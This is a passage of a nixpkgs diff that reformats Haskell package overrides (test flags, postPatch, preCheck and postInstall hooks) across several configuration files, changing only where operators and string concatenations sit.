@@ -2260,14 +2228,16 @@ self: super:
     testFlags = [
       "--skip"
       "/Geo/Hexable/Encodes a linestring/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
   }) super.haskell-postgis;
   # https://github.com/ChrisPenner/json-to-haskell/issues/5
   json-to-haskell = overrideCabal (drv: {
     testFlags = [
       "--match"
       "/should sanitize weird field and record names/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
   }) super.json-to-haskell;
   # https://github.com/fieldstrength/aeson-deriving/issues/5
   aeson-deriving = dontCheck super.aeson-deriving;
@@ -2286,14 +2256,16 @@ self: super:
     testFlags = [
       "--skip"
       "/Dropbox/Dropbox aeson aeson/encodes list folder correctly/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
   }) super.dropbox;
   # https://github.com/alonsodomin/haskell-schema/issues/11
   hschema-aeson = overrideCabal (drv: {
     testFlags = [
       "--skip"
       "/toJsonSerializer/should generate valid JSON/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
   }) super.hschema-aeson;
   # https://github.com/minio/minio-hs/issues/165
   # https://github.com/minio/minio-hs/pull/191 Use crypton-connection instead of unmaintained connection
@@ -2301,7 +2273,8 @@ self: super:
     testFlags = [
       "-p"
       "!/Test mkSelectRequest/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
     patches = drv.patches or [ ] ++ [
       (pkgs.fetchpatch {
         name = "use-crypton-connection.patch";
@@ -2530,11 +2503,9 @@ self: super:
         ];
       })
     ];
-    postPatch =
-      drv.postPatch or ""
-      + ''
-        ln -fs ${pkgs.simdjson.src} simdjson
-      '';
+    postPatch = drv.postPatch or "" + ''
+      ln -fs ${pkgs.simdjson.src} simdjson
+    '';
   }) super.hermes-json;
 
   # Disabling doctests.
@@ -2929,18 +2900,17 @@ self: super:
   zinza = dontCheck super.zinza;
 
   pdftotext = overrideCabal (drv: {
-    postPatch =
-      ''
-        # Fixes https://todo.sr.ht/~geyaeb/haskell-pdftotext/6
-        substituteInPlace pdftotext.cabal --replace-quiet c-sources cxx-sources
+    postPatch = ''
+      # Fixes https://todo.sr.ht/~geyaeb/haskell-pdftotext/6
+      substituteInPlace pdftotext.cabal --replace-quiet c-sources cxx-sources
 
-        # Fix cabal ignoring cxx because the cabal format version is too old
-        substituteInPlace pdftotext.cabal --replace-quiet ">=1.10" 2.2
+      # Fix cabal ignoring cxx because the cabal format version is too old
+      substituteInPlace pdftotext.cabal --replace-quiet ">=1.10" 2.2
 
-        # Fix wrong license name that breaks recent cabal version
-        substituteInPlace pdftotext.cabal --replace-quiet BSD3 BSD-3-Clause
-      ''
-      + (drv.postPatch or "");
+      # Fix wrong license name that breaks recent cabal version
+      substituteInPlace pdftotext.cabal --replace-quiet BSD3 BSD-3-Clause
+    ''
+    + (drv.postPatch or "");
   }) (doJailbreak (addExtraLibrary pkgs.pkg-config (addExtraLibrary pkgs.poppler super.pdftotext)));
 
   proto3-wire = appendPatch (fetchpatch {
@@ -2962,12 +2932,10 @@ self: super:
     drv:
     assert drv.version == "0.1.0.5";
     {
-      postPatch =
-        drv.postPatch or ""
-        + ''
-          substituteInPlace src/Feedback/Loop/OptParse.hs \
-            --replace-fail '(uncurry loopConfigLine)' '(pure . uncurry loopConfigLine)'
-        '';
+      postPatch = drv.postPatch or "" + ''
+        substituteInPlace src/Feedback/Loop/OptParse.hs \
+          --replace-fail '(uncurry loopConfigLine)' '(pure . uncurry loopConfigLine)'
+      '';
     }
   ) super.feedback;
 
diff --git a/pkgs/development/haskell-modules/configuration-darwin.nix b/pkgs/development/haskell-modules/configuration-darwin.nix
index 0bacc6d1762b..46dc66f535e8 100644
--- a/pkgs/development/haskell-modules/configuration-darwin.nix
+++ b/pkgs/development/haskell-modules/configuration-darwin.nix
@@ -43,11 +43,10 @@ self: super:
     # darwin doesn't have sub-second resolution
     # https://github.com/hspec/mockery/issues/11
     mockery = overrideCabal (drv: {
-      preCheck =
-        ''
-          export TRAVIS=true
-        ''
-        + (drv.preCheck or "");
+      preCheck = ''
+        export TRAVIS=true
+      ''
+      + (drv.preCheck or "");
     }) super.mockery;
 
     # https://github.com/ndmitchell/shake/issues/206
@@ -65,15 +64,13 @@ self: super:
 
     git-annex = overrideCabal (drv: {
       # We can't use testFlags since git-annex side steps the Cabal test mechanism
-      preCheck =
-        drv.preCheck or ""
-        + ''
-          checkFlagsArray+=(
-            # The addurl test cases require security(1) to be in PATH which we can't
-            # provide from nixpkgs to my (@sternenseemann) knowledge.
-            "-p" "!/addurl/"
-          )
-        '';
+      preCheck = drv.preCheck or "" + ''
+        checkFlagsArray+=(
+          # The addurl test cases require security(1) to be in PATH which we can't
+          # provide from nixpkgs to my (@sternenseemann) knowledge.
+          "-p" "!/addurl/"
+        )
+      '';
     }) super.git-annex;
 
     # on*Finish tests rely on a threadDelay timing differential of 0.1s.
@@ -96,21 +93,19 @@ self: super:
     x509-system = overrideCabal (
       drv:
       lib.optionalAttrs (!pkgs.stdenv.cc.nativeLibc) {
-        postPatch =
-          ''
-            substituteInPlace System/X509/MacOS.hs --replace security /usr/bin/security
-          ''
-          + (drv.postPatch or "");
+        postPatch = ''
+          substituteInPlace System/X509/MacOS.hs --replace security /usr/bin/security
+        ''
+        + (drv.postPatch or "");
       }
     ) super.x509-system;
     crypton-x509-system = overrideCabal (
       drv:
       lib.optionalAttrs (!pkgs.stdenv.cc.nativeLibc) {
-        postPatch =
-          ''
-            substituteInPlace System/X509/MacOS.hs --replace security /usr/bin/security
-          ''
-          + (drv.postPatch or "");
+        postPatch = ''
+          substituteInPlace System/X509/MacOS.hs --replace security /usr/bin/security
+        ''
+        + (drv.postPatch or "");
       }
     ) super.crypton-x509-system;
 
@@ -128,11 +123,10 @@ self: super:
       # the DYLD_LIBRARY_PATH environment variable.  This messes up clang
       # when called from GHC, probably because clang is version 7, but we are
       # using LLVM8.
-      preCompileBuildDriver =
-        ''
-          substituteInPlace Setup.hs --replace "addToLdLibraryPath libDir" "pure ()"
-        ''
-        + (oldAttrs.preCompileBuildDriver or "");
+      preCompileBuildDriver = ''
+        substituteInPlace Setup.hs --replace "addToLdLibraryPath libDir" "pure ()"
+      ''
+      + (oldAttrs.preCompileBuildDriver or "");
     }) super.llvm-hs;
 
     sym = markBroken super.sym;
@@ -149,13 +143,12 @@ self: super:
     OpenGLRaw = overrideCabal (drv: {
       librarySystemDepends = [ ];
       libraryHaskellDepends = drv.libraryHaskellDepends;
-      preConfigure =
-        ''
-          frameworkPaths=($(for i in $nativeBuildInputs; do if [ -d "$i"/Library/Frameworks ]; then echo "-F$i/Library/Frameworks"; fi done))
-          frameworkPaths=$(IFS=, ; echo "''${frameworkPaths[@]}")
-          configureFlags+=$(if [ -n "$frameworkPaths" ]; then echo -n "--ghc-options=-optl=$frameworkPaths"; fi)
-        ''
-        + (drv.preConfigure or "");
+      preConfigure = ''
+        frameworkPaths=($(for i in $nativeBuildInputs; do if [ -d "$i"/Library/Frameworks ]; then echo "-F$i/Library/Frameworks"; fi done))
+        frameworkPaths=$(IFS=, ; echo "''${frameworkPaths[@]}")
+        configureFlags+=$(if [ -n "$frameworkPaths" ]; then echo -n "--ghc-options=-optl=$frameworkPaths"; fi)
+      ''
+      + (drv.preConfigure or "");
     }) super.OpenGLRaw;
     bindings-GLFW = overrideCabal (drv: {
       librarySystemDepends = [ ];
@@ -171,18 +164,18 @@ self: super:
 
     HTF = overrideCabal (drv: {
       # GNU find is not prefixed in stdenv
-      postPatch =
-        ''
-          substituteInPlace scripts/local-htfpp --replace "find=gfind" "find=find"
-        ''
-        + (drv.postPatch or "");
+      postPatch = ''
+        substituteInPlace scripts/local-htfpp --replace "find=gfind" "find=find"
+      ''
+      + (drv.postPatch or "");
     }) super.HTF;
 
     # conditional dependency via a cabal flag
     cas-store = overrideCabal (drv: {
       libraryHaskellDepends = [
         self.kqueue
-      ] ++ (drv.libraryHaskellDepends or [ ]);
+      ]
+      ++ (drv.libraryHaskellDepends or [ ]);
     }) super.cas-store;
 
     # We are lacking pure pgrep at the moment for tests to work
@@ -191,21 +184,19 @@ self: super:
     # On darwin librt doesn't exist and will fail to link against,
     # however linking against it is also not necessary there
     GLHUI = overrideCabal (drv: {
-      postPatch =
-        ''
-          substituteInPlace GLHUI.cabal --replace " rt" ""
-        ''
-        + (drv.postPatch or "");
+      postPatch = ''
+        substituteInPlace GLHUI.cabal --replace " rt" ""
+      ''
+      + (drv.postPatch or "");
     }) super.GLHUI;
 
     SDL-image = overrideCabal (drv: {
       # Prevent darwin-specific configuration code path being taken
       # which doesn't work with nixpkgs' SDL libraries
-      postPatch =
-        ''
-          substituteInPlace configure --replace xDarwin noDarwinSpecialCasing
-        ''
-        + (drv.postPatch or "");
+      postPatch = ''
+        substituteInPlace configure --replace xDarwin noDarwinSpecialCasing
+      ''
+      + (drv.postPatch or "");
       patches = [
         # Work around SDL_main.h redefining main to SDL_main
         ./patches/SDL-image-darwin-hsc.patch
@@ -215,11 +206,10 @@ self: super:
     # Prevent darwin-specific configuration code path being taken which
     # doesn't work with nixpkgs' SDL libraries
     SDL-mixer = overrideCabal (drv: {
-      postPatch =
-        ''
-          substituteInPlace configure --replace xDarwin noDarwinSpecialCasing
-        ''
-        + (drv.postPatch or "");
+      postPatch = ''
+        substituteInPlace configure --replace xDarwin noDarwinSpecialCasing
+      ''
+      + (drv.postPatch or "");
     }) super.SDL-mixer;
 
     # Work around SDL_main.h redefining main to SDL_main
diff --git a/pkgs/development/haskell-modules/configuration-ghc-9.12.x.nix b/pkgs/development/haskell-modules/configuration-ghc-9.12.x.nix
index cb32463d3ce6..7bd91416860d 100644
--- a/pkgs/development/haskell-modules/configuration-ghc-9.12.x.nix
+++ b/pkgs/development/haskell-modules/configuration-ghc-9.12.x.nix
@@ -152,11 +152,9 @@ with haskellLib;
 
   # Cabal 3.14 regression (incorrect datadir in tests): https://github.com/haskell/cabal/issues/10717
   alex = overrideCabal (drv: {
-    preCheck =
-      drv.preCheck or ""
-      + ''
-        export alex_datadir="$(pwd)/data"
-      '';
+    preCheck = drv.preCheck or "" + ''
+      export alex_datadir="$(pwd)/data"
+    '';
   }) super.alex;
 
   # https://github.com/sjakobi/newtype-generics/pull/28/files
diff --git a/pkgs/development/haskell-modules/configuration-ghc-9.4.x.nix b/pkgs/development/haskell-modules/configuration-ghc-9.4.x.nix
index 34972d8151b8..e9cf59f0b529 100644
--- a/pkgs/development/haskell-modules/configuration-ghc-9.4.x.nix
+++ b/pkgs/development/haskell-modules/configuration-ghc-9.4.x.nix
@@ -92,7 +92,8 @@ in
     # 2021-10-10: 9.2.1 is not yet supported (also no issue)
     testFlags = [
       "--skip=/Hpack/renderCabalFile/is inverse to readCabalFile/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
   }) (doJailbreak super.hpack);
 
   # 2022-08-01: Tests are broken on ghc 9.2.4: https://github.com/wz1000/HieDb/issues/46
diff --git a/pkgs/development/haskell-modules/configuration-nix.nix b/pkgs/development/haskell-modules/configuration-nix.nix
index 35b6c7877049..36f57b8228dd 100644
--- a/pkgs/development/haskell-modules/configuration-nix.nix
+++ b/pkgs/development/haskell-modules/configuration-nix.nix
@@ -115,11 +115,10 @@ builtins.intersectAttrs super {
 
   # Test suite needs executable
   agda2lagda = overrideCabal (drv: {
-    preCheck =
-      ''
-        export PATH="$PWD/dist/build/agda2lagda:$PATH"
-      ''
-      + drv.preCheck or "";
+    preCheck = ''
+      export PATH="$PWD/dist/build/agda2lagda:$PATH"
+    ''
+    + drv.preCheck or "";
   }) super.agda2lagda;
 
   # scrypt requires SSE2
@@ -326,12 +325,10 @@ builtins.intersectAttrs super {
 
   shelly = overrideCabal (drv: {
     # /usr/bin/env is unavailable in the sandbox
-    preCheck =
-      drv.preCheck or ""
-      + ''
-        chmod +x ./test/data/*.sh
-        patchShebangs --build test/data
-      '';
+    preCheck = drv.preCheck or "" + ''
+      chmod +x ./test/data/*.sh
+      patchShebangs --build test/data
+    '';
   }) super.shelly;
 
   # Add necessary reference to gtk3 package
@@ -519,14 +516,12 @@ builtins.intersectAttrs super {
           wrapGAppsHook3 # Fix error: GLib-GIO-ERROR **: No GSettings schemas are installed on the system
           gtk3 # Fix error: GLib-GIO-ERROR **: Settings schema 'org.gtk.Settings.FileChooser' is not installed
         ]);
-      postPatch =
-        (drv.postPatch or "")
-        + ''
-          for f in src/IDE/Leksah.hs src/IDE/Utils/ServerConnection.hs
-          do
-            substituteInPlace "$f" --replace "\"leksah-server\"" "\"${self.leksah-server}/bin/leksah-server\""
-          done
-        '';
+      postPatch = (drv.postPatch or "") + ''
+        for f in src/IDE/Leksah.hs src/IDE/Utils/ServerConnection.hs
+        do
+          substituteInPlace "$f" --replace "\"leksah-server\"" "\"${self.leksah-server}/bin/leksah-server\""
+        done
+      '';
     }) super.leksah
   );
 
@@ -605,11 +600,9 @@ builtins.intersectAttrs super {
 
   # Tests execute goldplate
   goldplate = overrideCabal (drv: {
-    preCheck =
-      drv.preCheck or ""
-      + ''
-        export PATH="$PWD/dist/build/goldplate:$PATH"
-      '';
+    preCheck = drv.preCheck or "" + ''
+      export PATH="$PWD/dist/build/goldplate:$PATH"
+    '';
   }) super.goldplate;
 
   # At least on 1.3.4 version on 32-bit architectures tasty requires
@@ -617,23 +610,23 @@ builtins.intersectAttrs super {
   tasty = overrideCabal (drv: {
     libraryHaskellDepends =
       (drv.libraryHaskellDepends or [ ])
-      ++ lib.optionals
-        (
-          !(pkgs.stdenv.hostPlatform.isAarch64 || pkgs.stdenv.hostPlatform.isx86_64)
-          || (self.ghc.isGhcjs or false)
-        )
-        [
-          self.unbounded-delays
-        ];
+      ++
+        lib.optionals
+          (
+            !(pkgs.stdenv.hostPlatform.isAarch64 || pkgs.stdenv.hostPlatform.isx86_64)
+            || (self.ghc.isGhcjs or false)
+          )
+          [
+            self.unbounded-delays
+          ];
   }) super.tasty;
 
   tasty-discover = overrideCabal (drv: {
     # Depends on itself for testing
-    preBuild =
-      ''
-        export PATH="$PWD/dist/build/tasty-discover:$PATH"
-      ''
-      + (drv.preBuild or "");
+    preBuild = ''
+      export PATH="$PWD/dist/build/tasty-discover:$PATH"
+    ''
+    + (drv.preBuild or "");
   }) super.tasty-discover;
 
   # GLUT uses `dlopen` to link to freeglut, so we need to set the RUNPATH correctly for
@@ -653,11 +646,9 @@ builtins.intersectAttrs super {
     patches = drv.patches or [ ] ++ [
       ./patches/GLUT.patch
     ];
-    prePatch =
-      drv.prePatch or ""
-      + ''
-        ${lib.getBin pkgs.buildPackages.dos2unix}/bin/dos2unix *.cabal
-      '';
+    prePatch = drv.prePatch or "" + ''
+      ${lib.getBin pkgs.buildPackages.dos2unix}/bin/dos2unix *.cabal
+    '';
   }) super.GLUT;
 
   libsystemd-journal = addExtraLibrary pkgs.systemd super.libsystemd-journal;
@@ -788,11 +779,10 @@ builtins.intersectAttrs super {
   }) super.copilot-libraries;
   # tests need to execute the built executable
   ogma-cli = overrideCabal (drv: {
-    preCheck =
-      ''
-        export PATH=dist/build/ogma:$PATH
-      ''
-      + (drv.preCheck or "");
+    preCheck = ''
+      export PATH=dist/build/ogma:$PATH
+    ''
+    + (drv.preCheck or "");
   }) super.ogma-cli;
 
   # Expects z3 to be on path so we replace it with a hard
@@ -836,18 +826,14 @@ builtins.intersectAttrs super {
   futhark =
     overrideCabal
       (_drv: {
-        postBuild =
-          (_drv.postBuild or "")
-          + ''
-            make -C docs man
-          '';
+        postBuild = (_drv.postBuild or "") + ''
+          make -C docs man
+        '';
 
-        postInstall =
-          (_drv.postInstall or "")
-          + ''
-            mkdir -p $out/share/man/man1
-            mv docs/_build/man/*.1 $out/share/man/man1/
-          '';
+        postInstall = (_drv.postInstall or "") + ''
+          mkdir -p $out/share/man/man1
+          mv docs/_build/man/*.1 $out/share/man/man1/
+        '';
       })
       (
         addBuildTools (with pkgs.buildPackages; [
@@ -889,12 +875,10 @@ builtins.intersectAttrs super {
           self.buildHaskellPackages.data-default
         ];
 
-        preConfigure =
-          drv.preConfigure or ""
-          + ''
-            export HOME=$TEMPDIR
-            patchShebangs .
-          '';
+        preConfigure = drv.preConfigure or "" + ''
+          export HOME=$TEMPDIR
+          patchShebangs .
+        '';
 
         # git-annex ships its test suite as part of the final executable instead of
         # using a Cabal test suite.
@@ -919,41 +903,39 @@ builtins.intersectAttrs super {
         # Use default installPhase of pkgs/stdenv/generic/setup.sh. We need to set
         # the environment variables it uses via the preInstall hook since the Haskell
         # generic builder doesn't accept them as arguments.
-        preInstall =
-          drv.preInstall or ""
-          + ''
-            installTargets="install"
-            installFlagsArray+=(
-              "PREFIX="
-              "DESTDIR=$out"
-              # Prevent Makefile from calling cabal/Setup again
-              "BUILDER=:"
-              # Make Haskell build dependencies available
-              "GHC=${self.buildHaskellPackages.ghc.targetPrefix}ghc -global-package-db -package-db $setupPackageConfDir"
-            )
-          '';
+        preInstall = drv.preInstall or "" + ''
+          installTargets="install"
+          installFlagsArray+=(
+            "PREFIX="
+            "DESTDIR=$out"
+            # Prevent Makefile from calling cabal/Setup again
+            "BUILDER=:"
+            # Make Haskell build dependencies available
+            "GHC=${self.buildHaskellPackages.ghc.targetPrefix}ghc -global-package-db -package-db $setupPackageConfDir"
+          )
+        '';
         installPhase = null;
 
         # Ensure git-annex uses the exact same coreutils it saw at build-time.
         # This is especially important on Darwin but also in Linux environments
         # where non-GNU coreutils are used by default.
-        postFixup =
-          ''
-            wrapProgram $out/bin/git-annex \
-              --prefix PATH : "${
-                pkgs.lib.makeBinPath (
-                  with pkgs;
-                  [
-                    coreutils
-                    lsof
-                  ]
-                )
-              }"
-          ''
-          + (drv.postFixup or "");
+        postFixup = ''
+          wrapProgram $out/bin/git-annex \
+            --prefix PATH : "${
+              pkgs.lib.makeBinPath (
+                with pkgs;
+                [
+                  coreutils
+                  lsof
+                ]
+              )
+            }"
+        ''
+        + (drv.postFixup or "");
         buildTools = [
           pkgs.buildPackages.makeWrapper
-        ] ++ (drv.buildTools or [ ]);
+        ]
+        ++ (drv.buildTools or [ ]);
 
         # Git annex provides a restricted login shell. Setting
         # passthru.shellPath here allows a user's login shell to be set to
@@ -1028,32 +1010,30 @@ builtins.intersectAttrs super {
       })
       [
         (overrideCabal (drv: {
-          postUnpack =
-            (drv.postUnpack or "")
-            + ''
-              # Spago includes the following two files directly into the binary
-              # with Template Haskell.  They are fetched at build-time from the
-              # `purescript-docs-search` repo above.  If they cannot be fetched at
-              # build-time, they are pulled in from the `templates/` directory in
-              # the spago source.
-              #
-              # However, they are not actually available in the spago source, so they
-              # need to fetched with nix and put in the correct place.
-              # https://github.com/spacchetti/spago/issues/510
-              cp ${docsSearchApp_0_0_10} "$sourceRoot/templates/docs-search-app-0.0.10.js"
-              cp ${docsSearchApp_0_0_11} "$sourceRoot/templates/docs-search-app-0.0.11.js"
-              cp ${purescriptDocsSearch_0_0_10} "$sourceRoot/templates/purescript-docs-search-0.0.10"
-              cp ${purescriptDocsSearch_0_0_11} "$sourceRoot/templates/purescript-docs-search-0.0.11"
+          postUnpack = (drv.postUnpack or "") + ''
+            # Spago includes the following two files directly into the binary
+            # with Template Haskell.  They are fetched at build-time from the
+            # `purescript-docs-search` repo above.  If they cannot be fetched at
+            # build-time, they are pulled in from the `templates/` directory in
+            # the spago source.
+            #
+            # However, they are not actually available in the spago source, so they
+            # need to fetched with nix and put in the correct place.
+            # https://github.com/spacchetti/spago/issues/510
+            cp ${docsSearchApp_0_0_10} "$sourceRoot/templates/docs-search-app-0.0.10.js"
+            cp ${docsSearchApp_0_0_11} "$sourceRoot/templates/docs-search-app-0.0.11.js"
+            cp ${purescriptDocsSearch_0_0_10} "$sourceRoot/templates/purescript-docs-search-0.0.10"
+            cp ${purescriptDocsSearch_0_0_11} "$sourceRoot/templates/purescript-docs-search-0.0.11"
 
-              # For some weird reason, on Darwin, the open(2) call to embed these files
-              # requires write permissions. The easiest resolution is just to permit that
-              # (doesn't cause any harm on other systems).
-              chmod u+w \
-                "$sourceRoot/templates/docs-search-app-0.0.10.js" \
-                "$sourceRoot/templates/purescript-docs-search-0.0.10" \
-                "$sourceRoot/templates/docs-search-app-0.0.11.js" \
-                "$sourceRoot/templates/purescript-docs-search-0.0.11"
-            '';
+            # For some weird reason, on Darwin, the open(2) call to embed these files
+            # requires write permissions. The easiest resolution is just to permit that
+            # (doesn't cause any harm on other systems).
+            chmod u+w \
+              "$sourceRoot/templates/docs-search-app-0.0.10.js" \
+              "$sourceRoot/templates/purescript-docs-search-0.0.10" \
+              "$sourceRoot/templates/docs-search-app-0.0.11.js" \
+              "$sourceRoot/templates/purescript-docs-search-0.0.11"
+          '';
         }))
 
         # Tests require network access.
@@ -1174,37 +1154,35 @@ builtins.intersectAttrs super {
 
   # tests need to execute the built executable
   stutter = overrideCabal (drv: {
-    preCheck =
-      ''
-        export PATH=dist/build/stutter:$PATH
-      ''
-      + (drv.preCheck or "");
+    preCheck = ''
+      export PATH=dist/build/stutter:$PATH
+    ''
+    + (drv.preCheck or "");
   }) super.stutter;
 
   # Install man page and generate shell completions
   pinboard-notes-backup = overrideCabal (drv: {
-    postInstall =
-      ''
-        install -D man/pnbackup.1 $out/share/man/man1/pnbackup.1
-      ''
-      + (drv.postInstall or "");
+    postInstall = ''
+      install -D man/pnbackup.1 $out/share/man/man1/pnbackup.1
+    ''
+    + (drv.postInstall or "");
   }) (self.generateOptparseApplicativeCompletions [ "pnbackup" ] super.pinboard-notes-backup);
 
   # Pass the correct libarchive into the package.
   streamly-archive = super.streamly-archive.override { archive = pkgs.libarchive; };
 
   hlint = overrideCabal (drv: {
-    postInstall =
-      ''
-        install -Dm644 data/hlint.1 -t "$out/share/man/man1"
-      ''
-      + drv.postInstall or "";
+    postInstall = ''
+      install -Dm644 data/hlint.1 -t "$out/share/man/man1"
+    ''
+    + drv.postInstall or "";
   }) super.hlint;
 
   taglib = overrideCabal (drv: {
     librarySystemDepends = [
       pkgs.zlib
-    ] ++ (drv.librarySystemDepends or [ ]);
+    ]
+    ++ (drv.librarySystemDepends or [ ]);
   }) super.taglib;
 
   # random 1.2.0 has tests that indirectly depend on
@@ -1250,11 +1228,10 @@ builtins.intersectAttrs super {
 
   # Make tophat find itself for _compiling_ its test suite
   tophat = overrideCabal (drv: {
-    postPatch =
-      ''
-        sed -i 's|"tophat"|"./dist/build/tophat/tophat"|' app-test-bin/*.hs
-      ''
-      + (drv.postPatch or "");
+    postPatch = ''
+      sed -i 's|"tophat"|"./dist/build/tophat/tophat"|' app-test-bin/*.hs
+    ''
+    + (drv.postPatch or "");
   }) super.tophat;
 
   # Runtime dependencies and CLI completion
@@ -1297,11 +1274,10 @@ builtins.intersectAttrs super {
     # the HOME directory, so that must be set in order to generate completions.
     # https://github.com/cdepillabout/cloudy/issues/10
     (overrideCabal (oldAttrs: {
-      postInstall =
-        ''
-          export HOME=$TMPDIR
-        ''
-        + (oldAttrs.postInstall or "");
+      postInstall = ''
+        export HOME=$TMPDIR
+      ''
+      + (oldAttrs.postInstall or "");
     }))
     (self.generateOptparseApplicativeCompletions [ "cloudy" ])
   ];
@@ -1366,24 +1342,23 @@ builtins.intersectAttrs super {
     justStaticExecutables (
       overrideCabal (drv: {
         # use vanilla Setup.hs
-        preCompileBuildDriver =
-          ''
-            cat > Setup.hs << EOF
-            module Main where
-            import Distribution.Simple
-            main = defaultMain
-            EOF
-          ''
-          + (drv.preCompileBuildDriver or "");
+        preCompileBuildDriver = ''
+          cat > Setup.hs << EOF
+          module Main where
+          import Distribution.Simple
+          main = defaultMain
+          EOF
+        ''
+        + (drv.preCompileBuildDriver or "");
         # install man page
         buildTools = [
           pkgs.buildPackages.installShellFiles
-        ] ++ (drv.buildTools or [ ]);
-        postInstall =
-          ''
-            installManPage man/atsfmt.1
-          ''
-          + (drv.postInstall or "");
+        ]
+        ++ (drv.buildTools or [ ]);
+        postInstall = ''
+          installManPage man/atsfmt.1
+        ''
+        + (drv.postInstall or "");
       }) super.ats-format
     )
   );
@@ -1405,16 +1380,15 @@ builtins.intersectAttrs super {
   # version and sort -V to compare against our minimum version. If the
   # Kernel turns out to be older, we disable the test suite.
   procex = overrideCabal (drv: {
-    postConfigure =
-      ''
-        minimumKernel=5.9
-        higherVersion=`printf "%s\n%s\n" "$minimumKernel" "$(uname -r)" | sort -rV | head -n1`
-        if [[ "$higherVersion" = "$minimumKernel" ]]; then
-          echo "Used Kernel doesn't support close_range, disabling tests"
-          unset doCheck
-        fi
-      ''
-      + (drv.postConfigure or "");
+    postConfigure = ''
+      minimumKernel=5.9
+      higherVersion=`printf "%s\n%s\n" "$minimumKernel" "$(uname -r)" | sort -rV | head -n1`
+      if [[ "$higherVersion" = "$minimumKernel" ]]; then
+        echo "Used Kernel doesn't support close_range, disabling tests"
+        unset doCheck
+      fi
+    ''
+    + (drv.postConfigure or "");
   }) super.procex;
 
   # Test suite wants to run main executable
@@ -1423,11 +1397,9 @@ builtins.intersectAttrs super {
     (
       let
         fourmoluTestFix = overrideCabal (drv: {
-          preCheck =
-            drv.preCheck or ""
-            + ''
-              export PATH="$PWD/dist/build/fourmolu:$PATH"
-            '';
+          preCheck = drv.preCheck or "" + ''
+            export PATH="$PWD/dist/build/fourmolu:$PATH"
+          '';
         });
       in
       builtins.mapAttrs (_: fourmoluTestFix) super
@@ -1439,11 +1411,9 @@ builtins.intersectAttrs super {
 
   # Test suite needs to execute 'disco' binary
   disco = overrideCabal (drv: {
-    preCheck =
-      drv.preCheck or ""
-      + ''
-        export PATH="$PWD/dist/build/disco:$PATH"
-      '';
+    preCheck = drv.preCheck or "" + ''
+      export PATH="$PWD/dist/build/disco:$PATH"
+    '';
     testFlags = drv.testFlags or [ ] ++ [
       # Needs network access
       "-p"
@@ -1463,7 +1433,8 @@ builtins.intersectAttrs super {
         dot = null;
         PATH = null;
       })
-    ] ++ (drv.patches or [ ]);
+    ]
+    ++ (drv.patches or [ ]);
   }) super.graphviz;
 
   # Test suite requires AWS access which requires both a network
@@ -1475,7 +1446,8 @@ builtins.intersectAttrs super {
     testFlags = [
       "-p"
       "!/Can be used with http-client/"
-    ] ++ drv.testFlags or [ ];
+    ]
+    ++ drv.testFlags or [ ];
   }) super.http-api-data-qq;
 
   # Test have become more fussy in >= 2.0. We need to have which available for
@@ -1486,11 +1458,9 @@ builtins.intersectAttrs super {
         _:
         overrideCabal (drv: {
           buildTools = drv.buildTools or [ ] ++ [ pkgs.buildPackages.which ];
-          preCheck =
-            drv.preCheck or ""
-            + ''
-              export PATH="$PWD/dist/build/happy:$PATH"
-            '';
+          preCheck = drv.preCheck or "" + ''
+            export PATH="$PWD/dist/build/happy:$PATH"
+          '';
         })
       )
       {
@@ -1567,16 +1537,15 @@ builtins.intersectAttrs super {
   cabal-install = overrideCabal (old: {
     buildTools = [
       pkgs.buildPackages.makeWrapper
-    ] ++ old.buildTools or [ ];
-    postInstall =
-      old.postInstall
-      + ''
-        mkdir -p "$out/share/man/man1"
-        "$out/bin/cabal" man --raw > "$out/share/man/man1/cabal.1"
+    ]
+    ++ old.buildTools or [ ];
+    postInstall = old.postInstall + ''
+      mkdir -p "$out/share/man/man1"
+      "$out/bin/cabal" man --raw > "$out/share/man/man1/cabal.1"
 
-        wrapProgram "$out/bin/cabal" \
-          --prefix PATH : "${pkgs.lib.makeBinPath [ pkgs.groff ]}"
-      '';
+      wrapProgram "$out/bin/cabal" \
+        --prefix PATH : "${pkgs.lib.makeBinPath [ pkgs.groff ]}"
+    '';
     hydraPlatforms = pkgs.lib.platforms.all;
     broken = false;
   }) super.cabal-install;
@@ -1594,16 +1563,14 @@ builtins.intersectAttrs super {
         ];
         # Added a shim for the `tailwindcss` CLI entry point
         nativeBuildInputs = (oa.nativeBuildInputs or [ ]) ++ [ pkgs.buildPackages.makeBinaryWrapper ];
-        postInstall =
-          (oa.postInstall or "")
-          + ''
-            nodePath=""
-            for p in "$out" "${pkgs.nodePackages.postcss}" $plugins; do
-              nodePath="$nodePath''${nodePath:+:}$p/lib/node_modules"
-            done
-            makeWrapper "$out/bin/tailwindcss" "$out/bin/tailwind" --prefix NODE_PATH : "$nodePath"
-            unset nodePath
-          '';
+        postInstall = (oa.postInstall or "") + ''
+          nodePath=""
+          for p in "$out" "${pkgs.nodePackages.postcss}" $plugins; do
+            nodePath="$nodePath''${nodePath:+:}$p/lib/node_modules"
+          done
+          makeWrapper "$out/bin/tailwindcss" "$out/bin/tailwind" --prefix NODE_PATH : "$nodePath"
+          unset nodePath
+        '';
       }))
       super.tailwind;
 
diff --git a/pkgs/development/haskell-modules/generic-builder.nix b/pkgs/development/haskell-modules/generic-builder.nix
index 6e5cb29be5fb..7121934cce8d 100644
--- a/pkgs/development/haskell-modules/generic-builder.nix
+++ b/pkgs/development/haskell-modules/generic-builder.nix
@@ -279,96 +279,94 @@ let
     END { print "" }
   '';
 
-  crossCabalFlags =
-    [
-      "--with-ghc=${ghcCommand}"
-      "--with-ghc-pkg=${ghc.targetPrefix}ghc-pkg"
-      "--with-gcc=${cc}"
-    ]
-    ++ optionals stdenv.hasCC [
-      "--with-ld=${stdenv.cc.bintools.targetPrefix}ld"
-      "--with-ar=${stdenv.cc.bintools.targetPrefix}ar"
-      # use the one that comes with the cross compiler.
-      "--with-hsc2hs=${ghc.targetPrefix}hsc2hs"
-      "--with-strip=${stdenv.cc.bintools.targetPrefix}strip"
-    ]
-    ++ optionals (!isHaLVM) [
-      "--hsc2hs-option=--cross-compile"
-      (optionalString enableHsc2hsViaAsm "--hsc2hs-option=--via-asm")
-    ]
